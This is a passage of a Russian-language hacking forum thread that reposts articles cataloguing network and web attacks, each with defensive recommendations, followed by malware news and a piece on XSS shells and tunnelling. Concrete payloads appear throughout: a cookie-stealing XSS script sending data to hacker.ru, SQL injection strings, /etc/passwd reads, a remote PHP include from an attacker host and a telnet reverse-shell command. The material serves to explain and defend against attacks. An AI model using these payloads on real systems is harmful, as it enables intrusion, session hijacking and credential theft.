  12. Sniffing (Сниффинг или прослушивание сети). В том случае, если вместо коммутаторов в сети установлены концентраторы, полученные пакеты рассылаются всем компьютерам в сети, а дальше уже компьютеры определяют для них этот пакет или нет. Если взломщик получит доступ к компьютеру, который включен в такую сеть, или получит доступ к сети непосредственно, то вся информация, передаваемая в переделах сегмента сети, включая пароли, станет доступна. Взломщик просто поставит сетевую карту в режим прослушивания и будет принимать все пакеты независимо от того, ему ли они предназначались. Можно использовать как консольные снифферы, например TcpDump (встроенный в *NIX системах), WinDump (для Windows, но не встроенный), а так же с визуализированным интерфейсом, например Iris.
    Рекомендации: используйте коммутаторы вместо концентраторов, шифруйте трафик.
  13. IP Hijack (IP хайджек). Если есть физический доступ к сети, то взломщик может «врезаться» в сетевой кабель и выступить в качестве посредника при передаче пакетов, тем самым он будет слушать весь трафик между двумя компьютерами. Очень неудобный способ, который часто себя не оправдывает, за исключением случаев, когда никакой другой способ не может быть реализован. Подобное включение само по себе неудобно, хотя есть устройства, которые немного упрощают эту задачу, в частности они следят за нумерацией пакетов, чтобы избежать сбоя и возможного выявления вторжения в канал. Такой способ используется для обмана банкоматов, но такой случай технически сложнее, потому что недопустим разрыв связи между банком и банкоматом, а «врезание» в канал без его разрыва – задача только для высококвалифицированного специалиста. Кроме этого, теперь банкоматы устанавливаются гораздо лучше, что исключает возможность свободного физического доступа к кабелю.

    Рекомендации: следите за доступом к кабелям, например, используйте короба. Шифруйте трафик.
  14. Dummy ARP (Ложный ARP). ARP сервер, маршрутизатор или коммутатор знают какие IP принадлежат MAC адресам (т.е. сетевым картам). При возможности физического доступа к сети, взломщик может подделать ARP ответ и выдать себя за другой компьютер в сети, получив его IP. Тем самым все пакеты, предназначенные тому компьютеру, будет получать он. Это возможно, если тот компьютер выключен, иначе это действие вызовет конфликт IP адресов (в одной сети не могут быть 2 компьютера с одним и тем же IP адресом).
    Рекомендации: используйте ПО, которое информирует об изменении MAC адресов у IP, следите за лог-файлами ARP сервера.
  15. Dummy DNS Server (ложный DNS Сервер). Если настройки сети поставлены в автоматический режим, то при включении в сеть, компьютер «спрашивает» (т.е. отправляет широковещательный пакет) кто будет его DNS сервером, к которому он в дальнейшем будет отправлять DNS запросы. При наличии физического доступа к сети, взломщик может перехватить такой широковещательный запрос и ответить, что его компьютер будет DNS сервером. После этого он сможет отправлять обманутую жертву по любому маршруту. Например, жертва хочет пройти на сайт банка и перевести деньги, взломщик может отправить её на свой компьютер, где будет сфабрикована форма ввода пароля. После этого пароль будет принадлежать взломщику. Достаточно сложный способ, потому что взломщику необходимо ответить жертве раньше, чем DNS сервер.

    Рекомендации: по возможности ограничьте доступ к сети посторонних.
  16. Fuzzy (Фаззи). Фильтры могут быть настроены на блокировку определённых видов пакетов, например UDP. Взломщик может сфабриковать пакет так, что фильтр не поймет, что этот пакет UDP и не отфильтрует его, и он попадёт по назначению. Таким образом, взломщик может обойти фильтры пакетов. Этот приём очень узкий и предназначен для частных случаев, точнее тех, когда связь не обязательно должна быть двусторонней. Двусторонняя связь будет невозможна в большинстве случаев, т.к. в основном, если блокируются входящие пакеты определённого типа на какой-либо порт, то блокируются и исходящие. Получается, что даже если сфабрикованный пакет пройдёт через фильтр (например на порт UDP), то сервер ответит на него пакетом того же типа, т.е. UDP, но при этом он не будет его фабриковать по примеру взломщика. Т.о. этот исходящий пакет будет отфильтрован и не попадёт к взломщику. Как бы там ни было, всё равно стоит обезопасить себя от подобного рода атак.
    Рекомендации: обычно новые версии межсетевых экранов предоставляют достаточную защиту против этого приёма.
  17. Puke – взломщик фабрикует ответ ICMP unreachable (ошибка удалённой системы), что спровоцирует клиента на отключение от сервера. Используется скорее как вспомогательное средство, в том случае, если какой-либо клиент должен быть отключён от сервера для проведения атаки.
  18. Fake unreachable – взломщик фабрикует сообщение о том, что пакет не может быть доставлен (unreachable), тем самым заставляет сервер думать, что у клиента сбой и пакеты не доставляются по назначению. Это может спровоцировать сервер отключить клиента. Тоже вспомогательное средство, похоже на №17, только направлен не на клиента, а на сервер.
  19. IP-Spoofing (Спуфинг или Подмена IP адреса). Атакующий подменяет свой реальный IP фиктивным. Это необходимо, если доступ к ресурсу имеют только определённые IP адреса. Взломщику нужно изменить свой реальный IP на «привилегированный» или «доверенный», чтобы получить доступ. Этот способ может быть использован по-другому. После того, как два компьютера установили между собой соединение, проверив пароли, взломщик может вызвать на жертве перегрузку сетевых ресурсов специально сгенерированными пакетами. Тем самым он может перенаправить трафик на себя и таким образом обойти процедуру аутентификации.
    Рекомендации: их может быть много, по той причине, что приёмов достаточно много. Но стоит упомянуть, что угрозу снизит (но возможно затруднит легимитивные соединения) уменьшение времени ответного пакета с установленными флагами SYN и ACK, а также увеличить максимальное количество SYN-запросов на установление соединения в очереди (tcp_max_backlog). Так же можно использовать SYN-Cookies.
  20. Host spoofing (Подмена хоста). Очень сложная техника, требующая физического доступа к сети. Каждый компьютер знает маршрутизатор, на который он отправляет все пакеты, которые потом маршрутизатором доставляются по назначению. При смене маршрутизатора каждому компьютеру высылается redirect уведомление, после чего компьютеры начинают посылать пакеты новому маршрутизатору. Взломщик может сфабриковать подобное уведомление и выдать себя за маршрутизатор, таким образом он получит контроль над трафиком в пределах сегмента сети.
    Рекомендации: контроль над доступом к сети и момента смены маршрутизатора. Например, можно следить, весь ли прошлый трафик (т.е. старые соединения) «появились» на новом маршрутизаторе.
  21. Подбор пароля. Используется для регистрации в системе путём подбора пароля к учётной записи. Есть два вида: подбор всех возможных комбинаций символов (BruteForce) и подбор по словарю. Первый способ более эффективен, т.к. всё равно найдётся комбинация символов, которую вы ввели с клавиатуры в качестве пароля, но этот способ крайне медленный, особенно если в расчёт принимаются знаки препинания и т.п. Второй способ быстрый, но если вы ввели слово, которого не может быть в словаре, например: «Мой-Новый-Пароль», то подобрать по словарю его будет невозможно. Программ, которые служат для подбора пароля очень много, поэтому мы не думаем, что есть смысл называть какие-либо конкретные. Как правило, программы, ОС и пр. хранят пароли в шифрованном виде, поэтому даже если взломщик получил доступ к файлу, ему придётся расшифровать пароль. Он это может делать сутками на своём домашнем компьютере.
    Рекомендации: использовать сложные пароли, лучше со знаками препинания. Ограничьте количество попыток ввода пароля. Против расшифровки пароля поможет только его сложность.
  22. Back Connect/Pipes/Reverse (Обратный сеанс или Реверс). Это вспомогательный приём, но сам по себе он очень интересный. Например, взломщик не хочет каждый раз выполнять много действий ради одной команды. Он может упростить задачу, используя этот приём. Суть его в том, что взломщик вынуждает атакуемый компьютер подключиться к компьютеру взломщика. Например на атакуемом компьютере можно выполнить команду telnet [ip.адрес.взломщика] [порт]. После этого взломщик, по сути дела получает командную строку (командную оболочку или Шелл/Shell) на атакуемом компьютере.
  23. Software vulnerabilities (Ошибки ПО). Использование ошибок в программном обеспечении. Эффект может быть разный. От получения несущественной информации до получения полного контроля над системой. Атаки через ошибки ПО самые популярные во все времена. Старые ошибки исправляются новыми версиями, но в новых версиях появляются новые ошибки, которые опять могут быть использованы. Дальше мы опишем не виды атак, а приёмы, используемые для атаки на ошибки ПО. Рекомендации: приведём сразу для всех, потому как рекомендация общая - поможет только «безопасно» написанный код программ. По этой теме можно найти большое количество материала в Интернет.
  24. Buffer Overflow (Переполнение буфера). Очень опасный вид атаки, когда запрос формируется так, что он переполняет выделенные ему рамки памяти и команды «вшитые» в запрос попадают в стек, а после выполняются процессором. Это можно сделать как удалённо, так и локально, если взломщик может запустить свою программу на атакуемом компьютере. Это может быть использовано как для выполнения кода на компьютере, так и для поднятия прав. Есть несколько подвидов атак на переполнение буфера. Мы не будем описывать каждый из них, т.к. для объяснения принципа нам придётся привести примеры кода, который будет непонятен людям, незнакомым с программированием. Нижеприведённая классификация принадлежит Андрею Колищаку (andr[at]sandy.ru) и находится в его статье «Атаки на переполнение буфера». Поэтому найти их описание, примеры и рекомендации Вы можете непосредственно в этой статье. Мы же приведём их просто для ознакомления.

    ---Атака “срыв стека”
    ---Атака “срыв стека” с параметризацией
    ---Атака “срыв стека” с передачей управления
    ---Искажение указателей функций
    ---Атака на указатели функций
    ---Атака на указатели функций с параметризацией
    ---Атака на указатели функций с передачей управления
    ---Искажение таблиц переходов
    ---Атака на таблицы переходов
    ---Атака на таблицы переходов с параметризацией
    ---Атака на таблицы переходов с передачей управления
    ---Искажение указателей данных
    ---Атака с искажением указателей данных
    ---Атака с искажением указателей данных с параметризацией
    ---Атака с искажением указателей данных с оригинальным кодом.

    К вышеприведённой классификации мы бы хотели привести ещё один тип: Integer Overflow (Переполнение целочисленных). За более подробной информацией можно обратиться к статье «Целочисленное переполнение: Атака» и «Целочисленное переполнение: Защита» или «Basic Integer Overflows» от Blexim.
  25. Shatter – Уязвимость Windows систем, которая может быть использована только локально. Очень похожа на переполнение буфера, точнее приводит к тому же самому результату: команды взломщика попадают в стек. Основана на том, что у каждого окна в Windows, у которого есть поле для ввода, есть и максимальная длина вводимого значения. Она устанавливается ещё на стадии разработки программы и для небольших полей может быть равна, например 50. С клавиатуры нельзя ввести количество символов больше 50, но работа окон Windows основана на Messages (Посланиях). Можно легко получить Header (Хидер или Заголовок(особый, предназначенный только для ОС)) поля для ввода и послать SETTEXT (установить текст) сообщение (используя этот хидер) полю для ввода. Сообщение должно сказать, что необходимо установить текст длиною больше 50, соответственно, всё, что будет после 50-го символа, попадёт в стек и будет выполнено процессором. Защиты от этого не существует. Единственная панацея – это процессоры AMD Athlon 64, у которых есть встроенная защита, и они не выполняют команды из стека.
  26. Nuke (WinNuke или Нюк). Сейчас это скорее история. Windows по умолчанию использует протокол NetBIOS для совместной работы с файлами и принтерами в сети. Для этого ОС открывает три TCP порта (137, 138, 139). Реализация этого протокола на старых версиях Windows содержала уязвимость. Суть в том, что можно послать в открытый 139 порт несколько OutOfBand «сообщений» подряд. Система не могла корректно обработать подобные данные и система повисала. Программ для подобных атак было написано немало, но мы упомянем только Shadow Security Scanner, который уже был назван нами ранее, как средство для SSPing.
  27. Cross User Attack (межпользовательская атака). На наш взгляд достаточно неоднозначное название, т.к. не лучшим образом отражает суть атаки, но всё же мы придержимся этого, общеизвестного названия. Squid 2.4 и ISA/2000 позволяют пользователям делить между собой TCP соединения с сервером. Можно спровоцировать с помощью HRS (описана ниже) два ответа от сервера, один из которых будет контролироваться взломщиком и фальсифицирует полученную пользователем информацию.
  28. Атака на CGI. Большинство WWW (Веб) серверов используют скрипты для предоставления пользователям дополнительных услуг или предоставления дополнительных возможностей. Например, почтовые сервера, как mail.ru На многих серверах установлены «самописные» CMS (Content Management System или Системы управления содержимым (сайта)). Программисты далеко не всегда заставляют свои скрипты проверять вводимые пользователем значения, отчего появляются возможности использования таких оплошностей в различных целях. Атака на переполнение буфера также может быть проведена через ошибки CGI скриптов. Например: <a href="http://host/cgi-bin/helloworld?type=A*100" target="_blank">http://host/cgi-bin/helloworld?type=A*100</a> (т.е. буква A будет в количестве 100 раз). По адресу <a href="http://www.opennet.ru/base/sec/linux_sec_guide.txt.html" target="_blank">http://www.opennet.ru/base/sec/linux_sec_guide.txt.html</a> можно найти отличную статью, во второй части которой описываются проблемы безопасности, которые обычно оставляются без внимания CGI программистами. Многие не являются приёмами взлома, а только помогают взлому, поэтому для написания хорошего кода лучше ознакомиться со статьёй. Рамки нашей статьи не позволяют нам углубиться в тему написания безопасного кода, поэтому скажем только, что нужно, как минимум, фильтровать все служебные символы из получаемых данных.
  29. SQL Injection (SQL иньекция). Если введённые пользователем данные используются в сформированных SQL запросах без проверки, то взломщик может ввести данные, которые позволят ему получить любую информацию из Ваших SQL баз. Например: есть запрос «SELECT login, password FROM members where email=’$email’;» Где $email вводится пользователем в таблице, запрос обрабатывается и результат выводится на страницу. Взломщик может модифицировать данные и ввести в форму: «my@mail.ru' OR login LIKE '%admin%». Таким образом, сформированный SQL запрос будет: «SELECT login, password FROM members where email='my@mail.ru' OR login LIKE '%admin%';». Таким образом, взломщик получит пароли от пользователей, в login которых содержится admin.
  30. HRS (HTTP Resource Splitting) – Достаточно молодой и по нашему мнению сложный приём (если не использовать его только для XSS), который позволяет реализовать атаки вида Hijacking Pages, Cross User Defacement, Web Cache Poisoning, Browser Cache Poisoning, XSS (будут описаны ниже). Сущность атаки в том, что взломщик, специально приготовленным HTTP запросом может заставить Веб-сервер, уязвимый перед HRS, ответить жертве (а не взломщику) двумя раздельными HTTP ответами (а не одним, как это было бы в обычной ситуации). Первый HTTP ответ может быть частично контролируем взломщиком, но второй контролируется взломщиком полностью! Если это возможно, взломщик посылает два запроса, где жертва выступает уже посредником. Первый из этих запросов снова заставит Веб-сервер ответить два раза, а второй обычно запрашивает какой-либо второстепенный ресурс на сервере (например, какую-либо маленькую картинку). Но! Жертва объединит второй HTTP запрос (на второстепенный ресурс) со вторым HTTP ответом (который контролируется взломщиком)! Таким образом, жертва думает, что получившийся «агрегат» это ответ от Веб-сервера с частью его содержимого, но на самом деле это будет важная информация или команда (которая подготовлена взломщиком). Есть ещё один нюанс, жертвой может быть компьютер взломщика, который получит в результате атаки, важную информацию, например, cookie другого пользователя. Ниже мы опишем атаки, которые можно провести через HRS, но они так же могут быть проведены с использованием другого приёма, но мы скажем про них всё же в ключе HRS.
  31. Cross User Defacement – Достаточно «узкий» приём, потому что взломщик подделывает страницу, которая посылается уязвимым Веб – сервером только одной жертве. При этом содержимое Веб – сервера никаким образом не меняется. Кроме этого, приём очень сложно провести не при помощи HRS. Взломщику придётся выступить посредником между клиентом и сервером при помощи Спуфинга, IP хайджека, или ошибки в реализации некоторых Веб-серверов, но в итоге «затраты» не оправдают полученного результата. Более легко реализовать это через межпользовательскую атаку.
  32. Web Cache Poisoning – по нашему мнению, не совсем полезный приём, поэтому опишем его исключительно кратко. В основном, прокси серверы кэшируют страницы, запрашиваемые пользователями, чтобы при повторном запросе такой страницы отдать её из кэша, а не запрашивать Веб-сервер. Это необходимо для экономии трафика, если это корпоративная сеть и прокси сервер внутрисетевой. Суть приёма в том, чтобы спровоцировать прокси сервер кэшировать поддельную страницу, которая потом будет передаваться пользователям сети.
  33. Browser Cache Poisoning. Кэши есть не только у прокси серверов, но также и у браузеров. По сути этот приём почти то же самое, что и Web Cache Poisoning, с той лишь разницей, что ей подвергается только один компьютер.
  34. Hijacking Pages – в некоторой степени этот приём схож с межпользовательской атакой, но здесь цель атаки не «подсунуть» пользователю подделанную информацию, например Веб-страницу, а наоборот, заставить сервер переслать взломщику Веб-страницу, которая предназначалась другому пользователю. Таким образом, взломщик может получить важную информацию, предназначенную другому пользователю. Это может быть номер его счёта или выданный ему пароль. Для проведения атаки, взломщику необходимо TCP соединение с прокси сервером (назовём «ВСП»), TCP соединение между жертвой и прокси сервером («ЖСП») и TCP соединение между Веб-сервером и прокси сервером («ССП»). Схема следующая:

    ---Взломщик посылает через «ВСП» запрос (назовём «ЗА») к прокси серверу, на который Веб-сервер должен ответить двумя «ответами» «ОФ1» и «ОФ2» (случай HRS).
    ---Прокси сервер пересылает через «ССП» запрос «ЗА» к Веб-серверу.
    ---Веб-сервер отвечает «ОФ1» и «ОФ2» через «ССП».
    --- Прокси сервер считает, что «ОФ1» это ответ на «ЗА» и пересылает его взломщику через «ВСП».
    ---Жертва посылает прокси серверу запрос «ЗЖ» через «ЖСП». На который Веб сервер должен ответить страницей «ОС», которая содержит важную информацию.
    ---Прокси сервер пересылает «ЗЖ» Веб-серверу через «ССП», но тут же принимает фальшивый «ОФ2» за ответ Веб-сервера.
    ---Прокси сервер через «ЖСП» пересылает жертве «ОФ2» как ответ на запрос «ЗЖ».
    --- Взломщик снова посылает прокси серверу новый запрос «ЗА2» через «ВСП».
    --- В это время прокси сервер получает ответ от Веб-сервера на «ЗЖ» через «ССП».
    ---При этом прокси сервер всё же пересылает «ЗА2» Веб-серверу через «ССП», но тут же принимает «ОС» за ответ на «ЗА2».
    --- Прокси сервер пересылает «ОС» взломщику через «ВСП». Т.о. взломщик добился своей цели, он получил страницу, которая предназначалась жертве.

    Дальше прокси сервер получит ответ на последний запрос взломщика, но на то время эту страницу будет некому отдать, и она будет вероятнее всего удалена. Мы думаем, что после рассмотрения этой схемы стало понятно, что атака не столь сложна в реализации в теории, сколь сложна на практике. Требуется точно распланированное время, через которое будут отосланы запросы и, соответственно, потребуются точные данные, через какое время будут получены ответы на запросы.
  35. CSS/XSS (Cross-Site Scripting или Межсайтовый скриптинг). Атака, так и не признанная Microsoft опасной, основана на использовании Java Script в странице. Как известно, Java код, «вшитый» в страницу, выполняется браузером пользователя. Возможности достаточно ограничены, но в умелых руках имеющиеся возможности могут быть очень эффективно использованы. Например, многие форумы или почтовые сервера умеют идентифицировать пользователя по наличию определённой cookie на компьютере пользователя. Она уникальна для каждого и поэтому считается достаточно безопасно идентифицировать пользователя для доступа к информации малой важности только по её наличию, без ввода пароля. Но, cookie можно украсть! Взломщик может внедрить в страницу код типа: «<script>img = new Image(); img.src=http://hacker.ru/snf.jpg?"+document.cookie;</script>», а на своём сайте создать файл snf.jpg, который на самом деле будет скриптом и будет записывать в файл полученные через document.cookie данные. Таким образом, каждый пользователь, посетивший страницу форума, куда взломщик внедрил вышеприведённый код (например, вместо картинки), «подарит» взломщику свою cookie, которая позже может быть использована взломщиком для регистрации на форуме. Даже если внешние ссылки на картинки не разрешены, но есть возможность их загрузки, то одного фильтра на расширение (чтобы оно было, например JPG) мало. Поэтому атака всё равно будет успешной, если в теле файла (например: «photo.jpg») будет содержаться JAVA код. Если сервер подвержен атаке XSS, то клиент может сам уберечься от неё, отключив выполнение Java Script в своём браузере. Конечно, после этого некоторые страницы могут работать некорректно.
  36. SiXSS (SQL Injection Cross Site Scripting). Представляет собой комбинацию SQL Injection и XSS, т.е. выполнение атаки типа XSS через уязвимость скрипта к SQL Injection. Атака основана на том, что свежие версии MySQL умеют переводить шестнадцатеричные значения (вида 0хХХ) в текст. Например, через SQL запрос можно выяснить, что шестнадцатеричное значение строки «<script>alert("SiXSS");</script>» это «3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E». Теперь если есть уязвимый к SQL Injection Скрипт, то можно задать вот такой запрос: www.victim.com/vuln_script.php? vuln_variable=1+union+select+0x3C7363726970743E616C6572742822536958535322293B3C2
    F7363726970743E Мы надеемся, что записи vuln_variable или vuln_script Вам понятны, что это уязвимая переменная и уязвимый скрипт соответственно. В результате мы получим окошко с текстом SiXSS, что значит, что атака прошла успешно. Код исключительно безвреден, поэтому можно проверить самим. Подобная атака весьма специфична, поэтому мы считаем необходимым обговорить её более подробно. В отличие от XSS эта атака применяется в фишинге, если её модифицировать. Кроме того, достаточно трудно внедрить подобный код в чужую страницу, потому что «рабочие» скрипты в их шестнадцатеричном значении очень длинные и могут выходить за пределы допустимых значений, поэтому проще привести подобную ссылку отдельно как текст, нежели «вшивать её». Конечно, многие пользователи могут сказать, что они никогда не откроют ссылку, если увидят в ней элементы SQL запроса, например «UNION», однако здесь есть свой подводный камень: от человеческого глаза ссылку легко спрятать, сделать неузнаваемой. Например, запись %F1%F1%FB%EB%EA%E0 совершенно непонятна для глаза, но будет правильно воспринята браузером и сервером. Кроме этого, есть несколько способов замаскировать ссылку, поэтому ошибиться будет легко. Кроме этого, многие почтовые клиенты предпочитают не показывать ссылку целиком, а показывать только начало, поэтому фрагменты SQL могут оказаться попросту скрытыми. Поэтому, либо не доверяйте неизвестным отправителям, даже если они представятся менеджерами банков, либо отключите JAVA. Но первый вариант всё же предпочтительнее. Из личного опыта можно рассказать, что однажды пришло подобное письмо от управляющего банком, где в поле «отправител» была запись «Apex Bank PLC», однако в обратном адресе было apexbnkplcc@yahoo.co.uk Ясно, что это был мошенник, потому что никогда банк не будет доверять обработку своей почты бесплатным почтовым серверам. Внимательно проверяйте обратный адрес и не верьте в легкие деньги!
  37. SiHRS (SQL Injection HTTP Resource Splitting) – приём реализует HTTP Resource Splitting через уязвимость скрипта к SQL Injection. Это становится возможным, если скрипт, например, по индексу, сначала обращается к SQL базе за HTTP адресом, а потом сам генерирует свой HTTP запрос и использует полученный из SQL базы HTTP адрес для подстановки в поле «Location:» своего HTTP запроса. Это достаточно часто используется в Интернет-каталогах сайтов. Мы можем привести пример HTTP заголовка, который может быть использован для SiHRS в шестнадцатеричном виде.
    КодSelect HEX('i.php'
    Content-Length: 0

    HTTP/1.1 200 OK
    Content-Type: text/html
    Content-Length: 19

    <html></html>');

    Получится очень длинная строка, поэтому мы приведём только первую её часть «692E7068700A436F6E74656E742D4C656E6774683A20300D0A0D0A485…»

    Теперь мы сможем так же использовать полученный результат, как и в случае с SiXSS.

    «www.victim.com/vuln_script.php? vuln_variable=1+and+2%3d%34+union+select+0x692E7068700A436F6E74656E742D4C656E6774683A20300D0A0D0A485…»
  38. NULL Byte (или Нулевой байт). Это достаточно серьёзная проблема с языком[b] PERL.[/b] Дело в том, что[b] Perl [/b]позволяет символу \0 (HTML вариант - %00) быть в любом месте строки. Для языков типа С, этот символ означает конец строки. Вот тут и кроется угроза. Например, есть[b] Perl [/b]код: $filename = $query->param('filename').'.dat'; open F, $filename; Конечно, всё будет в порядке, если filename будет введён, например “org”, тогда[b] Perl [/b]будет открывать файл org.dat, но если взломщик введёт “/etc/passwd%00”, то[b] Perl [/b]попытается открыть файл с именем “/etc/passwd\0.dat”. Так как за открытие файла отвечает функция open, которая, получив этот параметр, воспримет \0 как конец строки и отбросит “.dat” и откроет файл “/etc/passwd”.
  39. Include Bug – Достаточно часто встречающаяся уязвимость. Для упрощения добавления новых страниц на сайт или для других целей в скриптах используется функция include($file); где $file задаётся пользователем, либо указывается в ссылке, например <a href="http://victim.com/news.php?file=somefile" target="_blank">http://victim.com/news.php?file=somefile</a> .После этого, вместо функции include(); будет вставлено содержимое somefile. Достаточно удобно, но если не проверять введённое пользователем значение, то рано или поздно кто-нибудь введёт <a href="http://victim.com/news.php?file=/etc/passwd" target="_blank">http://victim.com/news.php?file=/etc/passwd</a> и получит его содержимое.
  40. PHP-Include Bug – на наш взгляд достаточно интересная уязвимость, которая может быть отнесена к подвиду Include Bug, но мы считаем, что стоит выделить её отдельно, потому что целью выступает не получение данных из какого-то файла, а вставка в страницу и последующее выполнение сервером PHP кода. Те, кто знакомы с PHP знают, что фрагменты кода (ограниченные, например, <? … ?> или <?php … ?>) просто вставляются в Веб-страницу, и при построчной обработке страницы Веб-сервером, они выполняются. Т.о. можно вставить такие куски кода в страницу через PHP Include. Например, в странице есть код include($file); В результате в страницу будет вставлено содержимое файла $file (который задаётся пользователем, как в случае с Include Bug). Взломщик может заранее подготовить файл, который содержит в себе PHP код, который он желает выполнить на уязвимом сервере. После этого он загрузит файл на свой Веб-сервер и введёт запрос <a href="http://victim.com/news.php?file=http://attacker.host.com/php_code.php" target="_blank">http://victim.com/news.php?file=http://att...om/php_code.php</a> После этого PHP код будет вставлен в уязвимую страницу и выполнен Веб-сервером.
  41. Hidden Fields (или Скрытые поля). Это не приём взлома, скорее, приём манипуляции данными. Скрытые поля используются в формах, которые сначала передаются клиенту, но не отображаются в браузере, а потом отдаются обратно серверу. Они выглядят в исходном коде HTML страницы как: “<input type="hidden" name="price" value="10">”. Проблема в том, что взломщик может изменить это поле вручную, после чего товар будет ему продан в ту цену, в которую он пожелает.
    Рекомендации: не доверяйте данным, полученным из скрытых полей.
[EOF]

ЗЫЖ:Все ссылки которые представлены I категории траффика
пыса: поступление новое будет не оч скоро
Перейти в начало страницы
 
+Цитировать сообщение
Amok
сообщение 15.07.2007 - 23:11

Частый гость
***

Группа: Участник
Сообщений: 107
Регистрация: 8.03.2006
Пользователь №: 12363


Говорящий троян удаляет все файлы с жесткого диска

Компания Panda Software ]]>предупреждает]]> (ссылка внешняя) о появлении новой вредоносной программы, которая может доставить много неприятностей неосторожным пользователям компьютеров. Обнаруженный троян получил название BotVoice. При проникновении на машину под управлением Windows вредоносная программа вносит ряд изменений в системные файлы операционной системы, делая невозможным вызов диспетчера задач и утилиты редактирования реестра. Кроме того, троян запрещает запуск файлов с разрешениями BAT, COM, EXE, MP3 и пытается удалить всю информацию с диска С. Таким образом, владелец инфицированного ПК может лишиться всех своих документов и накопленной информации. Примечательно, что вредоносная программа BotVoice не просто уничтожает пользовательские данные, но еще и насмехается над жертвой. Троян непрерывно воспроизводит фразу следующего содержания: "You have been infected I repeat You have been infected and your system files has been deleted. Sorry. Have a Nice Day and bye bye" (Вы были инфицированы. Повторяю, Вы были инфицированы и Ваши системные файлы удалены. Прошу прощения. Приятного дня, пока-пока). Роджер Томпсон, технический директор Exploit Prevention Labs, подчеркивает, что подобных вредоносных программ, уничтожающих пользовательскую информацию безо всякого смысла не появлялось уже несколько лет. К счастью, BotVoice пока не получил особого распространения, поскольку не способен размножаться самостоятельно. Заражение компьютера происходит только в том случае, если пользователь сам загрузит и запустит вредоносную программу.
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 21.07.2007 - 14:36

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


я снова с вами!! ну точнее рядом пока я в больнице лежу ищу возможность отписаться.. нашел
[Статьи:XSS-туннелинг: твой трафик в XSS канале.дата:17.07.2007 21:57:08.Ссылка:http://www.xakep.ru/post/39274/default.asp]

Подразумевается, что читатель в курсе того, что такое XSS.

Для понимания того, что такое XSS-туннель и как он работает, прежде всего необходимо понять, что такое XSS-канал и как он работает.

Что такое XSS-канал
XSS-канал - интерактивный коммуникационный канал между двумя системами, открытый при помощи XSS-атаки. С технической точки зрения, это тип AJAX-приложения, которое может принимать команды, посылать ответ и делать это между разными доменами.

XSS-шелл - это инструмент для установления XSS-канала между жертвой и атакующим, так что нападающий получает контроль над броузером жертвы и может посылать ему команды. Соответственно, коммуникация в таком случае двухнаправленная.

Для получения XSS-шелла необходимо внедрить соответствующий JavaScript при помощи XSS-атаки. После загрузки скрипта хакер и получает контроль над броузером жертвы - он может видеть запросы, ответы серверов и может полностью управлять броузером.


Как работает XSS-шелл


Приложение такого рода имеет три основных части.

Во-первых, серверная часть - она координирует обмен данными между нападающим и его жертвой. В данном случае ему требуется ASP и IIS, база MS Access для хранения данных.

Во-вторых - клиентская часть, написанная на JavaScript. Она загружается в броузер жертвы и отвечает за получение и обработку команд, обеспечивая существование канала между хакером и его жертвой. Код был протестирован под Firefox, IE 6 и 7.

Ну и, наконец, заключительная часть XSS-шелла - административный интерфейс. Атакующий может посылать команды и получать ответы от жертвы мгновенно через свой интерфейс. Обратно используется ASP и IIS.



Все следующие шаги не требуют непрерывного взаимодействия и непрерывно проверяют запросы и ответы с определенным временным интервалом.

Атакующий находит веб-сайт с XSS-уязвимостью и возможностью вызова удаленного XSS-шелла, JavaScript-а.
Жертва, следуя линку или посещая страницу, выполняет скрипт в пределах домена.
Броузер жертвы начинает выполнять периодические запросы к серверу XSS-шелла для получения новых команд.
При получении таковых (например, получить куки, выполнить JavaScript и т.п.) выполняет их и возвращает результаты к XSS-шеллу.
Атакующий может передавать новые команды и получать результаты через административный интерфейс.
Почему это лучше классической XSS-атаки?

Атакующий получает более "одного выстрела". После заражения жертвы атакующий получает ответ и может построить дальнейшие свои действия, основываясь на полученной информации и складывающейся ситуации.
Такая атака позволяет обходить ограничения.
Позволяет получить своеобразный XSS-ботнет.
Что такое XSS-туннелинг?
Соответственно, XSS-туннелирование - пропускание HTTP-трафика через открытый XSS-канал. XSS-туннель - стандартный HTTP-прокси, сидящий на системе хакера. Любая утилита, сконфигурированная на его использование, будет передавать данные через активный XSS-канал на сервере XSS-шелла. XSS-туннель конвертирует запросы и ответы прозрачно для соответствия требованиям HTTP-запросов и XSS-шелла.

XSS-туннель написан на .NET и, конечно, требует .NET Framework.



Как работает XSS-туннель
XSS-туннель соединяется с определенным XSS-шеллом и получает текущий активный идентификатор (жертву, которую будет контролировать).
Локальный HTTP-клиент (броузер, сканер и т.д.) посылает HTTP-запрос к XSS-туннелю.

- Он конвертирует HTTP-запрос в запросы, которые может понять и обработать XSS-шелл. Затем он посылается на сервер XSS-шелла.
- Сервер сохраняет запрос в базу (все запросы действительны только для определенной жертвы, его ID можно видеть в админке туннеля).

Клиент XSS-шелла делает периодические запросы к серверу для получения команд. Процесс этот требует междоменного чтения, так что XSS-шелл использует загрузку удаленных JavaScript-ов для обхода политики безопасности.

- Если есть какие-либо команды, клиент загружает их и обрабатывает и отправляет ответ на сервер.

XSS-туннель проверяет сервер XSS-шелла на наличие ответа на предыдущий запрос. Если он есть, то превращает его в правильный HTTP-ответ и посылает клиенту. По умолчанию XSS-туннель кэширует различные файлы для ускорения процесса и выдает их из кэша, если они в нем существуют.
Схема атаки
Установить XSS-шелл сервер.
Сконфигурировать XSS-туннель на использование XSS-шелл сервера.
Подготовить XSS-атаку.
Запустить XSS-туннель и ждать жертв.
Сконфигурировать программы или броузер на использование XSS-туннеля.
При появлении жертвы в XSS-туннеле, начать использовать сконфигурированную пунктом ранее программу.
Описанные инструменты ты можешь скачать тут:

]]>http://www.portcullis-security.com/16.php]]>
[EOF]


[Статьи:Сборник вредоносного кода. Июль 2007.дата:2007-07-19 22:44:00.Ссылка:http://www.web-hack.ru/archive/forum.php?go=1671]
Сборник вредоносного кода. Июль 2007

Как обычно, сайт viruslist.com в середине месяца представляет подборку того, что "принес" нам мир вирусов, троянов, программ-шпионов и др. С полным списком Вы можете ознакомиться здесь. Ну а мы представляем вашему вниманию три главенствующие позиции из десятки "самых-самых":

• «Самый жадный зловред по отношению к банкам»
Trojan-Spy.Win32.Small.cz
• «Самый жадный зловред по отношению к системам электронных денег»
Backdoor.Win32.VB.bck
• «Самый жадный зловред по отношению к пластиковым картам»
Trojan-PSW.Win32.VB.kq
[EOF]


[Статьи:syn-flood атака - практика.дата:10/09/2005.Ссылка:http://www.inattack.ru/article/295.html]

Проблемы, не зависящие от атакующего.
